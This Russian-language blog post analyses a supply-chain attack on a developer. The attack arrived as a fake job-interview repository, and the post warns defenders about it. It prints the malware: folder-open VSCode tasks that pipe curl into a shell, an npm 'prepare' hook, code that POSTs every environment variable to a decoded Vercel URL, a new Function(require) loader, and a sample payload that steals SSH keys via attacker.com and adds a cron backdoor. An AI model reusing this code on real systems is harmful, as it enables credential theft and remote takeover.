Анатомия атаки на цепочку поставок, нацеленной на разработчика
Это случилось со мной. Началось всё с сообщения в LinkedIn от человека по имени Kevin (профиль сейчас удалён), который предлагал позицию технического лида в платформе децентрализованного стейкинга — бюджет $6,3 млн, полностью удалённо, гибкий график. Предложение было отполированным, а сама возможность звучала правдоподобно. Я назначил интервью — но когда началась встреча, на ней оказался совсем другой человек. Это был первый тревожный сигнал. Разговор быстро перешёл к разбору их кодовой базы. Первым моим порывом было открыть проект в GitHub Codespaces — изолированной среде, в которой ни один из описанных ниже векторов атаки не добрался бы до моей машины. Но в репозитории такой опции не оказалось, и я перешёл к клонированию его локально.
После того как я клонировал репозиторий, атакующий отдельно попросил открыть его в VSCode. Тогда просьба показалась странной — какая кому разница, в каком редакторе я работаю? Так вышло, что я пользуюсь продуктами JetBrains и VSCode у меня не установлен, поэтому я отказался. Это меня спасло: вектор атаки через .vscode/tasks.json (подробности ниже) работает только в VSCode, где задачи с настройкой "runOn": "folderOpen" выполняются автоматически при открытии папки. IDE от JetBrains полностью игнорируют .vscode/tasks.json. Атакующий подталкивал меня к единственному редактору, который запустил бы его пейлоад без каких-либо действий с моей стороны.
Когда это не сработало, атакующий сменил тактику. Он попросил проверить версию Node — с виду безобидная просьба, которая заодно позволяла убедиться, что Node.js установлен и готов к работе. Затем он предложил запустить npm install за меня, попросив показать экран. Поскольку я знаю, что npm install может выполнять хуки жизненного цикла вроде postinstall, а что именно выполнят их зависимости, я не имел представления, я отказался. Я попросил время на изучение проекта до следующего звонка — но он настаивал сделать всё здесь и сейчас. Я отказался снова. Он просто отключился и больше не выходил на связь.
Это типичная схема эскалации в социальной инженерии: когда автоматические триггеры не сработали (нет VSCode, нет npm install), атакующий переходит к тому, чтобы вручную провести жертву через шаг запуска. Каждая просьба по отдельности звучит полезно и разумно — проверить совместимость, помочь с настройкой — но единственная цель в том, чтобы любыми средствами добиться выполнения npm install на машине жертвы. А когда жертва не идёт навстречу, атакующий исчезает — продолжать спектакль незачем.
Мне было очень любопытно, чего же они на самом деле добивались, поэтому я попросил Claude проанализировать проект. Эта статья — разбор того анализа: реальная вредоносная кодовая база, присланная мне «на ревью» во время интервью. Цель атакующего: украсть учётные данные с моей машины и получить удалённое выполнение кода — и всё это запускается простым npm install или открытием проекта в VSCode.
Проект представляется как «DLabs Platform» — Web3-платформа для гейминга, стейкинга и ставок, построенная на React, Node.js, Express и MongoDB. README отполирован, зависимости выглядят разумно, структура кода кажется профессиональной. Под этой поверхностью два независимых вектора атаки работают сообща, чтобы скомпрометировать любого разработчика, который прикоснётся к проекту.
Слой социальной инженерии
Атака начинается ещё до того, как выполнится хоть строчка кода. Атакующий отправляет репозиторий жертве — обычно под видом задания на интервью, фриланс-проекта на ревью или предложения о сотрудничестве. README подкрепляет легитимность:
## Installation & Running the Project
### 1. Clone the Repository
### 2. Install Dependencies
npm install
### 3. Run the Development Server
npm startСтандартные инструкции. Ничего настораживающего. У проекта профессиональная структура с каталогами src/, server/, public/, настоящие зависимости вроде react, express, mongoose, ethers и даже .gitignore. Выглядит как десятки других стартовых Web3-проектов на GitHub.
Вектор атаки 1: автозапуск задач VSCode
Посмотрим на .vscode/tasks.json.
Это самый коварный вектор, потому что он не требует от разработчика выполнять вообще никаких команд — достаточно открыть папку в VSCode.
Задача 1: тихий npm install
{
"label": "install-root-modules",
"type": "shell",
"command": "npm install --silent --no-progress",
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"reveal": "silent",
"echo": false,
"focus": false,
"panel": "new",
"showReuseMessage": false,
"clear": true
}
}Когда VSCode открывает эту папку, он запускает npm install --silent --no-progress в фоне. Настройки presentation обеспечивают максимальную скрытность:
"reveal": "silent"— не показывать панель терминала"echo": false— не выводить выполняемую команду"focus": false— не забирать фокус"showReuseMessage": false— подавить сообщения о переиспользовании терминала"clear": true— очистить терминал после выполнения
Флаги npm --silent и --no-progress подавляют вывод самого npm. Эта задача запускает npm install, который срабатывает хук prepare, который поднимает вредоносный сервер, который отправляет учётные данные наружу и выполняет удалённый код. Всё это молча, в фоне, пока разработчик читает README.
VSCode по умолчанию спрашивает подтверждение перед запуском задач folderOpen, но многие разработчики нажимают «Allow», не читая. Чтобы полностью отключить автозапуск задач, добавьте в настройки VSCode "task.allowAutomaticTasks": "off". Также можно выставить "security.workspace.trust.enabled": true, включив Workspace Trust — тогда VSCode будет по умолчанию считать клонированные репозитории недоверенными и отключит автозапуск задач, профили терминала и расширения, которые пытается настроить рабочая область.
Задача 2: прямая загрузка shell-пейлоада
{
"label": "env",
"type": "shell",
"osx": {
"command": "curl -L '...' | bash"
},
"linux": {
"command": "wget -qO- '...' | sh"
},
"windows": {
"command": "curl --ssl-no-revoke -L ... | cmd"
},
"runOptions": {
"runOn": "folderOpen"
}
}Эта задача скачивает и выполняет shell-скрипт прямо со второго Vercel-деплоя атакующего (vscodesettings-tasks-j227.vercel.app). Она учитывает платформу:
- macOS:
curl -L | bash - Linux:
wget -qO- | sh - Windows:
curl --ssl-no-revoke -L | cmd(флаг--ssl-no-revokeобходит проверку отзыва сертификатов)
Трюк с горизонтальной прокруткой
В исходном файле tasks.json вредоносные команды отбиты примерно 200 пробелами перед ключом "command":
"linux": {
"command": "wget -qO- '...' | sh"
}В текстовом редакторе или инструменте код-ревью ключ "command" уезжает далеко за правый край видимой области. Разработчик, прокручивающий файл, увидит:
"linux": {
}Команда выглядит как пустой объект. Чтобы увидеть настоящий пейлоад, придётся прокрутить по горизонтали — или включить перенос строк. Это известный приём обфускации, нацеленный именно на код-ревью в редакторах без переноса строк.
Вектор атаки 2: хук жизненного цикла npm
Посмотрим на package.json:
"scripts": {
"start": "node server/server.js | react-scripts --openssl-legacy-provider start",
"build": "node server/server.js | react-scripts --openssl-legacy-provider build",
"test": "node server/server.js | react-scripts --openssl-legacy-provider test",
"eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
"prepare": "node server/server.js"
}Скрипт prepare — это встроенный хук жизненного цикла npm: он запускается автоматически после завершения npm install. Никакого участия пользователя не требуется. Разработчик запускает npm install, рассчитывая скачать зависимости, а npm по окончании молча выполняет node server/server.js.
Но обратите внимание и на другое: каждый скрипт (start, build, test, eject) тоже начинается с node server/server.js |. Оператор конвейера запускает сервер как побочный эффект перед собственно командой. Какой бы npm-скрипт разработчик ни запустил, вредоносный сервер поднимется. Это глубокая защита — с точки зрения атакующего.
Почему именно prepare?
У npm есть несколько хуков жизненного цикла: preinstall, postinstall, prepare, prepublish. Выбор prepare — расчётливый:
preinstall/postinstall— хорошо известные векторы атаки, их всё чаще помечают средства безопасности иnpm auditprepareпривлекает меньше внимания — его обычно используют для легитимных целей: сборки TypeScript или установки git-хуков Husky- Он выполняется после установки зависимостей, а значит
express,axiosи другие пакеты, от которых зависит вредоносный код, уже доступны
Шаг 1: утечка переменных окружения
Допустим, сервер поднялся — вот что происходит дальше. Посмотрим на server/controllers/auth.js:
const setApiKey = (s) => atob(s);
const verify = (api) =>
axios.post(api, { ...process.env }, {
headers: { "x-app-request": "ip-check" }
});Две безобидные с виду вспомогательные функции. setApiKey декодирует строку Base64. verify делает POST-запрос. Но посмотрите на второй аргумент axios.post:
{ ...process.env }Оператор расширения на process.env отправляет каждую переменную окружения на машине разработчика в теле POST-запроса. Разработчики регулярно хранят учётные данные в переменных окружения — именно так спроектирована аутентификация в большинстве CLI-инструментов и SDK. AWS CLI читает AWS_ACCESS_KEY_ID, OpenAI SDK читает OPENAI_API_KEY, Stripe читает STRIPE_SECRET_KEY и так далее. Это значит, что в окружении типичного разработчика может оказаться:
- учётные данные AWS (
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY) - API-ключи (OpenAI, Stripe, облачные провайдеры)
- строки подключения к базам данных
- секреты сессий и ключи JWT
- пути к сокетам SSH-агента
- PATH, HOME и другие системные переменные
Имена функций подобраны нарочито буднично. verify звучит так, будто проверяет API-ключ. setApiKey звучит как сеттер. При код-ревью они идеально сливаются с окружающей логикой аутентификации.
Заголовок "x-app-request": "ip-check" — ещё одно отвлечение: он намекает, что запрос является рутинной проверкой IP, а не операцией по выкачиванию данных.
Шаг 2: эндпоинт, обфусцированный Base64
Куда уходят украденные учётные данные? Посмотрим на .env:
AUTH_API=aHR0cHM6Ly9pcC1jaGVja2luZy1ub3RpZmljYXRpb24tajEudmVyY2VsLmFwcC9hcGk=Декодирование Base64 даёт:
https://ip-checking-notification-j1.vercel.app/apiАтакующий размещает свой эндпоинт сбора данных на Vercel — легитимной, доверенной хостинг-платформе. У этого несколько преимуществ:
- URL на Vercel не помечаются большинством файрволов и средств безопасности
- Поддомен
ip-checking-notification-j1звучит как безобидный сервис - Бесплатный тариф Vercel не требует подтверждения личности, что затрудняет атрибуцию
- Деплои на Vercel эфемерны и легко переразворачиваются на новых URL
Кодирование в Base64 — не сильная обфускация: любой разработчик, применивший atob(), её раскодирует. Но своё дело она делает: быстрый grep по URL в файле .env не покажет подозрительный домен. Это выглядит как API-ключ, а не как URL.
Сам файл .env — это декорация
Обратите внимание, что .env не входит в .gitignore. В .gitignore аккуратно исключены:
.env.development.local
.env.test.local
.env.production.localНо не сам .env. Это сделано намеренно. Файл .env закоммичен в репозиторий с правдоподобно выглядящими демо-ключами:
ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
OPENAI_API_KEY=sk-test_OpenAIkey1234567890Эти фальшивые ключи служат двум целям:
- Они делают проект правдоподобным — настоящий проект с настоящими интеграциями
- Они демонстрируют, какие учётные данные проекту «нужны», нормализуя присутствие секретов в окружении
Шаг 3: удалённое выполнение кода через динамическое создание функции
Теперь посмотрим, как всё связывается воедино. Откроем server/routes/api/auth.js:
const verified = validateApiKey();
if (!verified) {
console.log("Aborting mempool scan due to failed API verification.");
return;
}
async function validateApiKey() {
verify(setApiKey(process.env.AUTH_API))
.then((response) => {
const executor = new Function("require", response.data);
executor(require);
console.log("API Key verified successfully.");
return true;
})
.catch((err) => {
console.log("API Key verification failed:", err);
return false;
});
}Это самая опасная часть. Проследим выполнение:
setApiKey(process.env.AUTH_API)— декодирует URL эндпоинта из Base64verify(decodedUrl)— отправляет POST со всеми переменными окружения на сервер атакующего- Сервер атакующего отвечает JavaScript-кодом в
response.data new Function("require", response.data)— создаёт новую функцию, у которой телом запроса является исходный кодexecutor(require)— выполняет эту функцию, передавая ейrequireиз Node.js в качестве аргумента
Передав require в динамически созданную функцию, код атакующего может загрузить любой модуль Node.js: fs для доступа к файловой системе, child_process для shell-команд, os для информации о системе, net для сетевых операций. У атакующего полный, ничем не ограниченный доступ к машине разработчика.
Что сервер атакующего может прислать в ответ
Поскольку require доступен, пейлоад в ответе может сделать всё, что может Node.js:
// Чтение SSH-ключей
const fs = require('fs');
const keys = fs.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');
// Выполнение shell-команд
const { execSync } = require('child_process');
execSync('curl attacker.com/exfil?data=' + encodeURIComponent(keys));
// Установка постоянного бэкдора
fs.writeFileSync('/tmp/.hidden_script.sh', '...');
execSync('crontab -l | echo "* * * * * /tmp/.hidden_script.sh" | crontab -');Конструктор new Function() — по сути eval() с более опрятным синтаксисом. Это известный «код с запашком», но в большой кодовой базе с Express-роутами, middleware и контроллерами он может проскочить мимо поверхностного ревью — особенно будучи завёрнутым в функции с именами validateApiKey и verify.
Сообщение об ошибке — тоже социальная инженерия
console.log("Aborting mempool scan due to failed API verification.");«Mempool scan» — жаргон из мира Web3. Если вредоносный запрос не пройдёт (например, сервер атакующего лежит), сообщение об ошибке сольётся с тем, чего вы и ждёте от блокчейн-приложения. Разработчик видит «failed API verification» и предполагает проблему с конфигурацией, а не незавершившуюся атаку.
Полная схема атаки
Собираем всё вместе — вот полная схема атаки:
Разработчик получает ссылку на проект
│
├─ Открывает папку в VSCode
│ │
│ ├─ Задача 1: тихий npm install
│ │ └─ хук prepare → поднимается сервер
│ │ └─ POST process.env на сервер атакующего
│ │ └─ получение JS-пейлоада
│ │ └─ new Function()(require) → RCE
│ │
│ └─ Задача 2: curl/wget | bash → прямая загрузка shell-скрипта
│
└─ Запускает npm install
└─ хук prepare → поднимается сервер (та же цепочка, что выше)Атакующий заложил в атаку избыточность:
- Два независимых триггера: открытие папки в VSCode и
npm install - Три независимых пейлоада: утечка окружения, динамическое выполнение JS, прямая загрузка shell-скрипта
- Скомпрометированы все npm-скрипты:
start,build,testиeject— каждый поднимает сервер
Если один вектор не срабатывает, остальные всё равно выполняются. Если эндпоинт атакующего на Vercel недоступен, переменные окружения он всё равно получит. Если разработчик не пользуется VSCode, хук npm всё равно сработает.
Индикаторы компрометации
Если вы запускали npm install или открывали этот проект в VSCode, проверьте:
- Исходящие соединения к домену
*.vercel.appв сетевых логах - Неизвестные cron-задачи:
crontab -lна Linux/macOS - Необычные процессы: поищите постоянно работающие фоновые процессы
- Изменённые конфиги шелла: правки в
.bashrc,.zshrc,.profile - Новые SSH-ключи или записи в authorized_keys
- Установленные или изменённые расширения браузера
Смените все учётные данные, которые были в переменных окружения на момент выполнения.
Хорошая интуиция: GitHub Codespaces
Прежде чем клонировать локально, первым моим порывом было открыть проект в GitHub Codespaces — облачной среде разработки, которая работает в одноразовом контейнере. Это было бы отличным решением. Даже если бы сработали все пять векторов атаки, ущерб ограничился бы выбрасываемой виртуальной машиной без доступа к моим настоящим учётным данным, SSH-ключам и локальной файловой системе.
Однако в репозитории кнопки Codespaces не было. GitHub Codespaces настраивается на уровне репозитория — владелец или организация решают, включать ли его. Если вы не видите пункта «Code > Codespaces», значит владелец репозитория его не включил (или это запрещено политикой организации). В нашем случае у атакующего не было причин его включать. Это вынудило меня клонировать проект локально — а именно этого атакующий и добивается. Отталкивать жертву от изолированных сред в сторону её собственной машины — часть социальной инженерии.
Отсюда важная закономерность: если кто-то присылает вам проект на ревью, а вы не можете легко открыть его в изолированной среде вроде Codespaces или GitPod, это само по себе повод насторожиться. У легитимных коллег обычно нет причин мешать вам пользоваться облачными средами разработки.
А если бы это запустилось на Deno?
Стоит задаться вопросом: помог бы здесь безопасный по умолчанию рантайм вроде Deno? Ответ: да, и существенно. Deno требует явных флагов разрешений для чувствительных операций: --allow-env для чтения переменных окружения, --allow-net для сетевых запросов, --allow-read и --allow-write для доступа к файловой системе, --allow-run для запуска подпроцессов. Без этих флагов рантайм отказывает в операции и выбрасывает ошибку.
В этой атаке шаг 1 (утечка process.env) провалился бы без --allow-env. Исходящий POST на Vercel-эндпоинт атакующего провалился бы без --allow-net. А шаг 3 — динамически созданная функция, вызывающая require('fs') или require('child_process') — провалился бы без --allow-read, --allow-write и --allow-run. Вся цепочка атаки рассыпается сразу в нескольких точках.
При этом Deno не помог бы с вектором атаки 2 (задачи VSCode). Пейлоад из .vscode/tasks.json выполняет shell-команды напрямую — curl | bash, wget | sh — полностью обходя любую песочницу уровня рантайма. А хук жизненного цикла npm (скрипт prepare) — это возможность npm, а не Node.js: он выполняет как shell-команду то, что указано в package.json, так что модель разрешений Deno и там не применяется.
Вывод: рантайм с моделью разрешений вроде Deno полностью обезвредил бы серверную часть цепочки атаки, но векторы уровня редактора и уровня пакетного менеджера работают вне контроля рантайма.
Выводы и защита
- Открывайте недоверенные проекты в GitHub Codespaces, GitPod или контейнере — а если такой возможности нет, спросите себя, почему
- Никогда не запускайте
npm installна недоверенном коде, не прочитав сначала скрипты вpackage.json - Отключите автозапуск задач VSCode: Settings >
"task.allowAutomaticTasks": "off"— VSCode по умолчанию спрашивает перед запуском задач при открытии папки, но многие нажимают «Allow», не читая - Используйте
npm install --ignore-scriptsпри первой установке недоверенного проекта, чтобы пропустить хуки жизненного цикла - Включите перенос строк в редакторе, чтобы поймать обфускацию горизонтальной прокруткой
- Проверяйте каталоги
.vscode/в клонированных проектах — конфигурации задач могут выполнять произвольные команды - Используйте изолированные среды (контейнеры, виртуальные машины или отдельные экземпляры WSL) при разборе недоверенного кода
- Ищите
new Function(),eval()и импортыchild_processв Node.js-проектах — в некоторых контекстах они законны, но при этом являются распространёнными примитивами атак - Относитесь с подозрением к значениям в Base64 в конфигурационных файлах — декодируйте их до запуска проекта